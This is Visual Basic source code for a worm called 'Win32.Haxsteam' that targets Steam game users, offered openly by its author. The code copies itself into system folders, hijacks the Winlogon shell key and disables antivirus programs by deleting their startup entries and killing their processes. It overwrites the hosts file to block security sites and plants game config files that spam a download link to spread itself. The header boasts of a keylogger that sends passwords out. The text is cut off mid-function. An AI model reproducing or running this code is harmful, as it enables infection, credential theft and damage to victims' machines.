========================================================================= Haxsteam.frm ========================================================================= VERSION 5.00 Begin VB.Form Haxsteam Caption = "Win32.Haxsteam" ClientHeight = 3090 ClientLeft = 60 ClientTop = 450 ClientWidth = 4680 Icon = "Haxsteam.frx":0000 LinkTopic = "Form1" ScaleHeight = 3090 ScaleWidth = 4680 StartUpPosition = 3 'Windows Default Begin VB.Timer tmrCounter Enabled = 0 'False Interval = 1000 Left = 960 Top = 960 End Begin VB.Timer tmrSteam Enabled = 0 'False Interval = 100 Left = 1800 Top = 1320 End Begin VB.Timer tmrLogger Enabled = 0 'False Interval = 100 Left = 1800 Top = 600 End End Attribute VB_Name = "Haxsteam" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False 'Win32.Haxsteam ¸opyrights 2006 by sk0r 'This Worm was created by sk0r aka Czybik. 'You are not allowed to decompile the Worm! 'ViSiT my Site @ www.sk0r-czybik.de.vu ' 'This is a very good Steam Worm. It has 'much functions. I am proud to be the 'coder if this fantastic Steam Worm. ' ' ' Worm Functions: ' ---------------- ' ' - On first execute displays fake Message ' - Copy itself to Systemdir and Steamdir as Exe or Sys ' - Change its attributes to hidden, systemfile and write protected ' - Change registry Keys for windows and steams ' - disallows viewing websites of steam and avers ' - For monday till friday an other payload ' - delete reg values from avers ' - terminate security processes ' - spreading via steam using cs, tfc, op, dmc, dod and hl ' - spreading via irc, send html file and link which includes adodb steam exploit ' - payload: delete importent steam files so steam must update ' - payload: overwrites files with specific extension in steam with a string ' - payload: Creates for each drive a fake programm with empty files and folders ' - payload: downloads and copys a wallhack to specific mods to risk a vac2 bann ' - payload: sends specific informations about the user and the machine using outlook ' - If the machine is rebooting for the 7th time the worm seachs for files to overwrite ' - If the machine is rebootings for the 17th time the worm speaks a sentence ' - If the machine is rebooting for the 22th time a form with informations will occur ' - payload: worm starts a keylogger to logg the password and sends it to me ' - payload: writes a command to mod config to make Cell-Walls ingame ' ' ' Visit my homepages: Email me to: ' -------------------- ------------- ' ' www.sk0r-czybik.de.vu sk0r1337@web.de ' www.sk0r-virii.tk ' www.czybik-kit.tk ' '======================================================== Dim spkVoice As SpVoice Public strKeys As String Public cntCounter As Integer Private Declare Sub Sleep Lib "kernel32.dll" (ByVal dwMilliseconds As Long) Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer Private Const VK_CAPITAL = &H14 Private Sub Form_Load() Haxsteam.Hide strInfomation = "Win32.Haxsteam Version 1.0 ¸2006 by sk0r alias Czybik (www.sk0r-czybik.de.vu)" On Error Resume Next Set wshs = CreateObject("wscript.shell") Set fso = CreateObject("scripting.filesystemobject") Set sysdir = fso.getspecialfolder(1) Set wmiObj = GetObject("winmgmts:") Set inSystem = wmiObj.InstancesOf("Win32_process") MostRegVal = "HKEY_CLASSES_ROOT\Haxsteam" steampath = wshs.regread("HKEY_CURRENT_USER\Software\Valve\Steam\" + "SteamPath") steampath = Replace(steampath, "/", "\") If (wshs.regread(MostRegVal & "\installed\") = "") Then MsgBox (App.Path + "\" + App.EXEName + ".exe ist keine zul„ssige Win32-Anwendung."), vbOKOnly + vbCritical, App.Path + "\" + App.EXEName + ".exe" wshs.regwrite MostRegVal + "\installed", "yes" End If myworm = App.Path + "\" + App.EXEName + ".exe" Set gtmyworm = fso.getfile(myworm) If Not fso.fileexists(sysdir + "\SteamDll32.exe") Then gtmyworm.Copy (sysdir + "\SteamDll32.exe") End If If Not fso.fileexists(sysdir + "\WinSteam.exe") Then gtmyworm.Copy (sysdir + "\WinSteam.exe") End If If Not fso.fileexists(steampath + "\SteamHelper.exe") Then gtmyworm.Copy (steampath + "\SteamHelper.exe") End If If Not fso.fileexists(steampath + "\ClientGUI.sys") Then gtmyworm.Copy (steampath + "\ClientGUI.sys") End If Set gtforattr1 = fso.getfile(sysdir + "\SteamDll32.exe") gtforattr1.Attributes = gtforattr1 + 4 gtforattr1.Attributes = gtforattr1 + 2 gtforattr1.Attributes = gtforattr1 + 1 Set gtforattr2 = fso.getfile(sysdir + "\WinSteam.exe") gtforattr2.Attributes = gtforattr2 + 4 gtforattr2.Attributes = gtforattr2 + 2 gtforattr2.Attributes = gtforattr2 + 1 wshs.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "explorer.exe " + sysdir + " \WinSteam.exe" wshs.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", 0, "REG_DWORD" wshs.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", 1, "REG_DWORD" wshs.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization", "Haxsteam" wshs.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title", "Haxed by sk0r" wshs.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner", "sk0rCzybik" wshs.regwrite "HKEY_CURRENT_USER\Software\Valve\Steam\language", "japanese" wshs.regwrite "HKEY_CURRENT_USER\Software\Valve\Steam\SteamExe", steampath + "\SteamHelper.exe" wshs.regwrite "HKEY_CURRENT_USER\Software\Valve\Steam\LastGameNameUsed", "sk0r1337" wshs.regwrite "HKEY_CURRENT_USER\Software\Valve\Steam\Rate", "7500" wshs.regwrite "HKEY_CURRENT_USER\Software\Valve\Steam\NoSavePersonalInfo", 1, "REG_DWORD" wshs.regwrite "HKEY_CURRENT_USER\Software\Valve\Steam\Offline", 1, "REG_DWORD" wshs.regwrite "HKEY_CURRENT_USER\Software\Valve\Steam\RefreshLoginRequired", 1, "REG_DWORD" wshs.regwrite "HKEY_CURRENT_USER\Software\Valve\Steam\SetRate", 0, "REG_DWORD" wshs.regwrite "HKEY_CURRENT_USER\Software\Valve\Steam\ActiveProcess\SteamClientDll", steampath + "\ClientGUI.sys" myhomepage = "http://encryboy.en.funpic.de/steamfake.html" normalsite = wshs.regread("HKEY_CURRENT_USER\Software\Valve\Steam\LastContentProviderURL" & "valve_homepage") If normalsite <> myhomepage Then wshs.regwrite "HKEY_CURRENT_USER\Software\Valve\Steam\LastContentProviderURL", myhomepage End If cntReader = wshs.regread(MostRegVal & "\Counter\") If cntReader = "" Then wshs.regwrite MostRegVal + "\Counter", 1, "REG_DWORD" End If wshs.regwrite MostRegVal + "\counter", cntReader + 1, "REG_DWORD" fso.deletefile (sysdir + "\drivers\etc\services") fso.deletefile (sysdir + "\drivers\etc\protocol") LocalIpAddress = Chr(49) & Chr(50) & Chr(55) & Chr(46) & Chr(48) & Chr(46) & Chr(48) & Chr(46) & Chr(49) Set crtHostFl = fso.createtextfile(sysdir + "\drivers\etc\hosts", True) With crtHostFl .writeline ("# Win32.Haxsteam.A ¸2006 by sk0r alias Czybik") .writeline ("# I don't allow you to visit Cs Sites") .writeline (" ") .writeline (LocalIpAddress + " www.antivir.de") .writeline (LocalIpAddress + " www.bitdefender.de ") .writeline (LocalIpAddress + " www.znet.de") .writeline (LocalIpAddress + " www.chip.de") .writeline (LocalIpAddress + " www.virustotal.com") .writeline (LocalIpAddress + " virusscan.jotti.org") .writeline (LocalIpAddress + " www.kaspersky.com") .writeline (LocalIpAddress + " www.sophos.de") .writeline (LocalIpAddress + " www.trojaner-info.de ") .writeline (LocalIpAddress + " www.trojaner-help.de ") .writeline (LocalIpAddress + " www.arcabit.com ") .writeline (LocalIpAddress + " www.avast.com ") .writeline (LocalIpAddress + " www.grisoft.com ") .writeline (LocalIpAddress + " www.bitdefender.com ") .writeline (LocalIpAddress + " www.clamav.net ") .writeline (LocalIpAddress + " www.drweb.com ") .writeline (LocalIpAddress + " www.f-prot.com ") .writeline (LocalIpAddress + " www.google.de ") .writeline (LocalIpAddress + " www.fortinet.com") .writeline (LocalIpAddress + " www.nod32.com ") .writeline (LocalIpAddress + " www.norman.com ") .writeline (LocalIpAddress + " www.microsoft.com") .writeline (LocalIpAddress + " www.anti-virus.by/en") .writeline (LocalIpAddress + " www.symantec.com ") .writeline (LocalIpAddress + " www.windowsupdate.com ") .writeline (LocalIpAddress + " www.trendmicro.com ") .writeline (LocalIpAddress + " www.mcafee.com ") .writeline (LocalIpAddress + " www.viruslist.com") .writeline (LocalIpAddress + " www.avp.com ") .writeline (LocalIpAddress + " www.zonelabs.com") .writeline (LocalIpAddress + " www.heise.de ") .writeline (LocalIpAddress + " www.antivirus-online.de") .writeline (LocalIpAddress + " www.free-av.com ") .writeline (LocalIpAddress + " www.panda-software.com") .writeline (LocalIpAddress + " www.pc-welt.de ") .writeline (LocalIpAddress + " www.pc-special.net") .writeline (LocalIpAddress + " download.freenet.de ") .writeline (LocalIpAddress + " www.vollversion.de ") .writeline (LocalIpAddress + " www.das-download-archiv.de") .writeline (LocalIpAddress + " www.freeware.de ") .writeline (LocalIpAddress + " www.antiviruslab.com") .writeline (LocalIpAddress + " www.search.yahoo.com") .writeline (LocalIpAddress + " www.web.de ") .writeline (LocalIpAddress + " www.hotmail.com") .writeline (LocalIpAddress + " www.hotmail.de") .writeline (LocalIpAddress + " www.gmx.net") .writeline (LocalIpAddress + " www.esl-europe.net") .writeline (LocalIpAddress + " www.cs-expert.de") .writeline (LocalIpAddress + " www.spiegel.de") .writeline (LocalIpAddress + " www.icq.com") .writeline (LocalIpAddress + " www.icq.de ") .writeline (LocalIpAddress + " www.og-cheats.de") .writeline (LocalIpAddress + " www.flirtlife.de") .writeline (LocalIpAddress + " www.ffh.de") .writeline (LocalIpAddress + " www.counter-strike.de") .writeline (LocalIpAddress + " www.counterstrike.de") .writeline (LocalIpAddress + " www.4players.de") .writeline (LocalIpAddress + " www.serverleih.de") .writeline (LocalIpAddress + " www.esl-europe.net") .writeline (LocalIpAddress + " www.cs-expert.de") .writeline (LocalIpAddress + " www.og-cheats.de") .writeline (LocalIpAddress + " www.counter-hacks.de") .writeline (LocalIpAddress + " www.csconfigs.de") .writeline (LocalIpAddress + " www.daddeln.de") .writeline (LocalIpAddress + " www.leaguez.com") .writeline (LocalIpAddress + " www.planethalflife.com") .writeline (LocalIpAddress + " www.google.de") .writeline (LocalIpAddress + " www.search.yahoo.com") .writeline (LocalIpAddress + " www.search.yahoo.de") .writeline (LocalIpAddress + " www.netsettings.net") .writeline (LocalIpAddress + " www.gigaliga.de") .writeline (LocalIpAddress + " www.readmore.de") .writeline (LocalIpAddress + " www.counterstrike-games.de") .writeline (LocalIpAddress + " www.schroet.de") .writeline (LocalIpAddress + " www.mousesports.com") .writeline (LocalIpAddress + " www.clanserver4u.de") .writeline (LocalIpAddress + " www.krankehorde.de") .writeline (LocalIpAddress + " www.a-losers.org") .writeline (LocalIpAddress + " www.team-ger.de") .writeline (LocalIpAddress + " www.rushed.de") .writeline (LocalIpAddress + " www.mymtw.de") .writeline (LocalIpAddress + " www.giga.de") .writeline (LocalIpAddress + " www.config-tuning.de") .writeline (LocalIpAddress + " www.steampowered.com") .writeline (LocalIpAddress + " www.golem.de") .writeline (LocalIpAddress + " www.pc-games.de") .writeline (LocalIpAddress + " www.mp-gamer.de") .writeline (LocalIpAddress + " www.4cheaters.de") .writeline (LocalIpAddress + " www.e-sb.de") .writeline (LocalIpAddress + " www.ngz-server.de") .writeline (LocalIpAddress + " www.esport-servers.de") .writeline (LocalIpAddress + " www.digitallabs.de") .writeline (LocalIpAddress + " www.digitallabs.com") .writeline (LocalIpAddress + " www.ckras.com") .writeline (LocalIpAddress + " www.quado.net") .writeline (LocalIpAddress + " www.linemax.de") .writeline (LocalIpAddress + " www.arena7.de") .writeline (LocalIpAddress + " www.nitrado.net") .writeline (LocalIpAddress + " www.xenonserver.de") .writeline (LocalIpAddress + " www.cs-arena.com") .writeline (LocalIpAddress + " www.go2irc.com") .writeline (LocalIpAddress + " www.nordic-it.de") .writeline (LocalIpAddress + " www.monsterserver.de") .writeline (LocalIpAddress + " www.servercamp.de") .writeline (LocalIpAddress + " www.clanservers.com") .writeline (LocalIpAddress + " www.4netplayers.de") .writeline (LocalIpAddress + " www.gameservercheck.de") .writeline (LocalIpAddress + " www.stormix.de") .writeline (LocalIpAddress + " www.clanserverz.de") .writeline (LocalIpAddress + " www.server4all.de") .writeline (LocalIpAddress + " www.teamplay.de") .writeline (LocalIpAddress + " www.gameserver4u.de") .writeline (LocalIpAddress + " www.csconfigs.mthone.de") .writeline (LocalIpAddress + " www.spraylogos.de") .writeline (LocalIpAddress + " www.planet-videos.com") .writeline (LocalIpAddress + " www.unitedadmins.com") .writeline (LocalIpAddress + " www.wwcl.net") .writeline (LocalIpAddress + " www.tng-clan.de") .writeline (LocalIpAddress + " www.thezproject.org") .writeline (LocalIpAddress + " www.unitedservers.de") .writeline (LocalIpAddress + " www.mirc-scripts.de") .writeline (LocalIpAddress + " www.zerogamers.com") .writeline (LocalIpAddress + " www.die-opfer.info") .writeline (LocalIpAddress + " www.baerlinonline.de") .writeline (LocalIpAddress + " www.counterstrike.net") .writeline (LocalIpAddress + " www.counter-strike.net") .writeline (LocalIpAddress + " www.security.mods.de") .writeline (LocalIpAddress + " www.3dsupply.de") .writeline (LocalIpAddress + " www.hltv.at") .writeline (LocalIpAddress + " www.blank-tv.de") .writeline (LocalIpAddress + " www.cstrike.de") .writeline (LocalIpAddress + " www.the-cpl.com") .writeline (LocalIpAddress + " www.core64.de") .writeline (LocalIpAddress + " www.cs.gamer-scene.com") .writeline (LocalIpAddress + " www.gamer-scene.com") .writeline (LocalIpAddress + " www.esports-award.org") .Close End With TerminateSecurity SpreadPerSteam SpreadPerIrc intWochentag = Weekday(Now) - 1 If intWochentag = 1 Then SteamPayloadOne ElseIf intWochentag = 2 Then SteamPayloadTwo ElseIf intWochentag = 3 Then SteamPayloadThree ElseIf intWochentag = 4 Then SteamPayloadFour ElseIf intWochentag = 5 Then SteamPayloadFive Else Unload Me End If If cntReader = 7 Then OverwriteSpecificFiles End If If cntReader = 17 Then SpeakTheVoice ("Sorry, I just want to say, that you have been hecked.") End If If cntReader = 22 Then funcShowInformations End If End Sub Function TerminateSecurity() On Error Resume Next Set wshs = CreateObject("wscript.shell") Set wmi = GetObject("winmgmts:") Set inSystem = wmi.InstancesOf("Win32_Process") wshs.regdelete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\avgnt" wshs.regdelete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KAVPersonal50" wshs.regdelete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AVG7_CC" wshs.regdelete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\BDMCon" wshs.regdelete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\BDNewsAgent" wshs.regdelete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\BDOESRV" wshs.regdelete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\pccguide.exe" wshs.regdelete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\DrWebScheduler" wshs.regdelete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SpIDerMail" wshs.regdelete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SpIDerNT" wshs.regdelete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MCAgentExe" wshs.regdelete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MCUpdateExe" wshs.regdelete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OASClnt" wshs.regdelete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\VirusScan Online" wshs.regdelete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\VSOCheckTask" For Each sp In inSystem If LCase(sp.Name) = "avguard.exe" Or LCase(sp.Name) = "avconfig.exe" Or LCase(sp.Name) = "avscan.exe" _ Or LCase(sp.Name) = "avcenter.exe" Or LCase(sp.Name) = "avgnt.exe" Or LCase(sp.Name) = "update.exe" _ Or LCase(sp.Name) = "preupd.exe" Or LCase(sp.Name) = "avcmd.exe" Or LCase(sp.Name) = "avesvc.exe" Then sp.Terminate (0) End If If LCase(sp.Name) = "kav.exe" Or LCase(sp.Name) = "kavsvc.exe" Or LCase(sp.Name) = "kavsend.exe" Or _ LCase(sp.Name) = "keymanager.exe" Then sp.Terminate (0) End If If LCase(sp.Name) = "agentsvr.exe" Or LCase(sp.Name) = "avgcc.exe" Or LCase(sp.Name) = "avgupsvc.exe" _ Or LCase(sp.Name) = "avgamsvr.exe" Then sp.Terminate (0) End If If LCase(sp.Name) = "vsserv.exe" Or LCase(sp.Name) = "bdss.exe" Or LCase(sp.Name) = "xcommsvr.exe" _ Or LCase(sp.Name) = "bdnagent.exe" Or LCase(sp.Name) = "bdoesrv.exe" Or LCase(sp.Name) = "bdmcon.exe" _ Or LCase(sp.Name) = "bdswitch.exe" Or LCase(sp.Name) = "rtvr.exe" Or LCase(sp.Name) = "bdsubmit.exe" _ Or LCase(sp.Name) = "bdlite.exe" Then sp.Terminate (0) End If If LCase(sp.Name) = "agentsvr.exe" Or LCase(sp.Name) = "tmproxy.exe" Or LCase(sp.Name) = "PcCtlCom.exe" _ Or LCase(sp.Name) = "pccguide.exe" Or LCase(sp.Name) = "qttask.exe" Or LCase(sp.Name) = "patch.exe" _ Or LCase(sp.Name) = "Tmntsrv.exe" Or LCase(sp.Name) = "PccPrm.exe" Then sp.Terminate (0) End If If LCase(sp.Name) = "DrWebUpW.exe" Or LCase(sp.Name) = "spidernt.exe" Or LCase(sp.Name) = "DrWebScd.exe" _ Or LCase(sp.Name) = "DrWeb32w.exe" Or LCase(sp.Name) = "drwadins.exe" Then sp.Terminate (0) End If If LCase(sp.Name) = "mcupdui.exe" Or LCase(sp.Name) = "McTskshd.exe" Or LCase(sp.Name) = "McAppIns.exe" _ Or LCase(sp.Name) = "mghtml.exe" Or LCase(sp.Name) = "McShield.exe" Or LCase(sp.Name) = "Mcdetect.exe" _ Or LCase(sp.Name) = "McVSEscn.exe" Or LCase(sp.Name) = "oasclnt.exe" Or LCase(sp.Name) = "mcvsshld.exe" Then sp.Terminate (0) End If If InStr(sp.Name, "clean") Or InStr(sp.Name, "save") Or InStr(sp.Name, "av") Or InStr(sp.Name, "svr") _ Or InStr(sp.Name, "mgr") Or InStr(sp.Name, "syma") Or InStr(sp.Name, "resc") Or InStr(sp.Name, "guar") Then sp.Terminate (0) End If Next End Function Function SpreadPerSteam() On Error Resume Next Set wshs = CreateObject("wscript.shell") Set fso = CreateObject("scripting.filesystemobject") steampath = wshs.regread("HKEY_CURRENT_USER\Software\Valve\Steam\" + "SteamPath") steampath = Replace(steampath, "/", "\") Randomize: intNumberRandoom = Int(7 * Rnd) + 1 If intNumberRandoom = 1 Then ChatMessage = "World biggest cfg and priv hack summarize!" ElseIf intNumberRandoom = 2 Then ChatMessage = "Download original Xs1cht and Headstyle Rc!!" ElseIf intNumberRandoom = 3 Then ChatMessage = "Orgia Crack v10 working!! Download it and own!" ElseIf intNumberRandoom = 4 Then ChatMessage = "Pixelaimbot v5.2 working (undetectable) downlaod!" ElseIf intNumberRandoom = 5 Then ChatMessage = "Download 1337 Config by Mouz|Jonny (Original, no fake!!)" ElseIf intNumberRandoom = 6 Then ChatMessage = "h4xx0r sound config download! Better then A3D 2.0 (working)" ElseIf intNumberRandoom = 7 Then ChatMessage = "download priv config h4xx0r maker by hirsche! (no fake)" Else ChatMessage = "download private optimizer by z0rr0.. kommt viel mehr an (geht wirklich!!)" End If Set gtfldr = fso.getfolder(steampath + "\SteamApps") For Each AccountFolder In gtfldr.subfolders If fso.folderexists(AccountFolder.Path + "\counter-strike\cstrike") Then InfectUserconfig (AccountFolder.Path + "\counter-strike\cstrike") End If If fso.folderexists(AccountFolder.Path + "\day of defeat\dod") Then InfectUserconfig (AccountFolder.Path + "\day of defeat\dod") End If If fso.folderexists(AccountFolder.Path + "\deathmatch classic\dmc") Then InfectUserconfig (AccountFolder.Path + "\deathmatch classic\dmc") End If If fso.folderexists(AccountFolder.Path + "\half-life\valve") Then InfectUserconfig (AccountFolder.Path + "\half-life\valve") End If If fso.folderexists(AccountFolder.Path + "\opposing force\gearbox") Then InfectUserconfig (AccountFolder.Path + "\opposing force\gearbox") End If If fso.folderexists(AccountFolder.Path + "\team fortress classic\tfc") Then InfectUserconfig (AccountFolder.Path + "\team fortress classic\tfc") End If Next End Function Function InfectUserconfig(strModPath As String) On Error Resume Next Set wshs = CreateObject("wscript.shell") Set fso = CreateObject("scripting.filesystemobject") steampath = wshs.regread("HKEY_CURRENT_USER\Software\Valve\Steam\" + "SteamPath") steampath = Replace(steampath, "/", "\") WhileWallsString = "gl_max_size " + Chr(34) + "2" + Chr(34) + "; alias gl_max_size" Set openusercfg = fso.createtextfile(strModPath + "\userconfig.cfg", True) openusercfg.Write ("//Win32.Haxsteam.A Userconfig Spread (Like IM-Worms)" + vbCrLf) openusercfg.Write ("//===========================================" + vbCrLf) openusercfg.Write ("//Begin Config h4xx0ring:" + vbCrLf) openusercfg.Write ("alias ""SkorWrite"" ""say http://czybik.cz.funpic.de/Haxsteam/Haxsteam.zip <= " + ChatMessage + " "";" + vbCrLf) openusercfg.Write ("alias ""SkorSleep"" ""echo Haxed by Win32.Haxsteam.A"";" + vbCrLf) openusercfg.Write ("alias ""SkorGo"" ""SkorAn"";" + vbCrLf) openusercfg.Write ("alias ""SkorAn"" ""SkorWrite; alias SkorGo SkorAus"";" + vbCrLf) openusercfg.Write ("alias ""SkorAus"" ""SkorSleep; alias SkorGo SkorSchmaus"";" + vbCrLf) openusercfg.Write ("alias ""SkorSchmaus"" ""SkorSleep; alias SkorGo SkorLaus"";" + vbCrLf) openusercfg.Write ("alias ""SkorLaus"" ""SkorSleep; alias SkorGo SkorKaus"";" + vbCrLf) openusercfg.Write ("alias ""SkorKaus"" ""SkorSleep; alias SkorGo SkorSaus"";" + vbCrLf) openusercfg.Write ("alias ""SkorSaus"" ""SkorSleep; alias SkorGo SkorBraus"";" + vbCrLf) openusercfg.Write ("alias ""SkorBraus"" ""SkorSleep; alias SkorGo SkorXaus"";" + vbCrLf) openusercfg.Write ("alias ""SkorXaus"" ""SkorSleep; alias SkorGo SkorZaus"";" + vbCrLf) openusercfg.Write ("alias ""SkorZaus"" ""SkorSleep; alias SkorGo SkorAn"";" + vbCrLf) openusercfg.Write ("alias ""m_pitch"" ""SkorGo"";" + vbCrLf) openusercfg.Write (WhileWallsString + vbCrLf) openusercfg.Write ("s_enable_a3d;" + vbCrLf) openusercfg.Write ("s_a3d ""1""; alias s_a3d;" + vbCrLf) openusercfg.Write ("rate ""7500""; alias rate" + vbCrLf) openusercfg.Write ("cl_updaterate ""10""; //alias cl_updaterate" + vbCrLf) openusercfg.Write ("cl_cmdrate ""1""; //alias cl_cmdrate" + vbCrLf) openusercfg.Write ("//End Config h4xx0ring" + vbCrLf) openusercfg.Write ("//===========================================" + vbCrLf) openusercfg.Write ("//Win32.Haxsteam.A Userconfig Spread (Like IM-Worms)" + vbCrLf) End Function Function SpreadPerIrc() On Error Resume Next Set wshs = CreateObject("wscript.shell") Set fso = CreateObject("scripting.filesystemobject") steampath = wshs.regread("HKEY_CURRENT_USER\Software\Valve\Steam\" + "SteamPath") steampath = Replace(steampath, "/", "\") Set crtDownloadHtml = fso.createtextfile(sysdir + "\cstrike_steam.html", True) crtDownloadHtml.writeline (" ") crtDownloadHtml.writeline ("
") crtDownloadHtml.writeline ("Click here to see more great things
") crtDownloadHtml.writeline (" ") crtDownloadHtml.writeline (" ") crtDownloadHtml.writeline ("